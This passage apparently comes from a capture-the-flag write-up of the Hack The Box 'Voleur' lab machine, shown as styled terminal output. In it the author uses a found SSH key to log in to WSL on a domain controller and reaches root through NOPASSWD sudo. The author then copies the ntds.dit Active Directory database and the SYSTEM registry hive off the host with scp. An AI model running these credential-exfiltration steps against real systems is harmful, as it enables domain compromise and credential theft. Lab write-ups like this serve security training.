    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\IT\Third-Line Support</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir</span>

<span class="win-output">Volume in drive C has no label.
 Volume Serial Number is A5C3-6454

 Directory of c:\IT\Third-Line Support

01/30/2025  09:11 AM    &lt;DIR&gt;          .
01/29/2025  02:10 AM    &lt;DIR&gt;          ..
01/30/2025  09:11 AM    &lt;DIR&gt;          Backups
01/30/2025  09:10 AM             2,602 id_rsa
01/30/2025  09:07 AM               186 Note.txt.txt
               2 File(s)          2,788 bytes
               3 Dir(s)   3,831,304,192 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\IT\Third-Line Support</span><span class="win-char">&gt;</span></span> <span class="win-cmd">cd Backups</span>

<span class="win-output">Access is denied.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h6 id="notetxttxt"><code class="language-plaintext highlighter-rouge">Note.txt.txt</code>:</h6>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin
</code></pre></div></div>

<p>So WSL is configured, and is probably what port 2222 is used for.</p>

<p>Since it mentions backup, I tried to SSH in as <code class="language-plaintext highlighter-rouge">svc_backup</code> using the private key, and it worked.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ssh svc_backup@voleur.htb -p 2222 -i id_rsa</span>
<span class="cmd-output">
Warning: Permanently added '[voleur.htb]:2222' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Aug 13 14:02:09 PDT 2025

  System load:    0.52      Processes:             11
  Usage of /home: unknown   Users logged in:       0
  Memory usage:   31%       IPv4 address for eth0: 10.129.10.190
  Swap usage:     0%


363 updates can be installed immediately.
257 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu Jan 30 04:26:24 2025 from 127.0.0.1
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">svc_backup@DC</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=1000(svc_backup) gid=1000(svc_backup) groups=1000(svc_backup),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-svc_backup">Escalation from <code class="language-plaintext highlighter-rouge">svc_backup</code>:</h2>
<h3 id="sudo-rights">Sudo Rights:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">svc_backup@DC</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo -l</span>

<span class="linux-output">Matching Defaults entries for svc_backup on DC:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User svc_backup may run the following commands on DC:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">svc_backup@DC</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">sudo -i</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">root@DC</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash"></span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The user is effectively root.</p>

<h3 id="backup-folder">Backup Folder:</h3>

<p>The C drive is also mounted onto WSL, and the previously inaccessible Backups folder can now be read:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@DC</span>:<span class="linux-path">/mnt/c/it/Third-Line Support/backups</span><span class="linux-char">#</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 0
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30  2025  .
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30  2025  ..
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30  2025 'Active Directory'
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30  2025  registry</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>There’s two folders. Active Directory contains <code class="language-plaintext highlighter-rouge">ntds.dit</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@DC</span>:<span class="linux-path">/mnt/c/it/Third-Line Support/backups</span><span class="linux-char">#</span></span> <span class="linux-bash">ls -la 'Active Directory'</span>

<span class="linux-output">total 24592
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 ..
-rwxrwxrwx 1 svc_backup svc_backup 25165824 Jan 30  2025 ntds.dit
-rwxrwxrwx 1 svc_backup svc_backup    16384 Jan 30  2025 ntds.jfm</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>And the registry folder contains what looks like the system hive:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@DC</span>:<span class="linux-path">/mnt/c/it/Third-Line Support/backups</span><span class="linux-char">#</span></span> <span class="linux-bash">ls -la registry</span>

<span class="linux-output">total 17952
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 ..
-rwxrwxrwx 1 svc_backup svc_backup    32768 Jan 30  2025 SECURITY
-rwxrwxrwx 1 svc_backup svc_backup 18350080 Jan 30  2025 SYSTEM</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll use <code class="language-plaintext highlighter-rouge">scp</code> to download them.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">scp -P 2222 -i id_rsa 'svc_backup@voleur.htb:/mnt/c/it/Third-Line Support/backups/Active Directory/ntds.dit' ntds.dit</span>
<span class="cmd-output">
Warning: Permanently added '[voleur.htb]:2222' (ED25519) to the list of known hosts.
ntds.dit                                               100%   24MB   1.9MB/s   00:12
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">scp -P 2222 -i id_rsa 'svc_backup@voleur.htb:/mnt/c/it/Third-Line Support/backups/registry/SYSTEM' system</span>
<span class="cmd-output">
Warning: Permanently added '[voleur.htb]:2222' (ED25519) to the list of known hosts.
SYSTEM                                                  100%   18MB   2.3MB/s   00:07
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
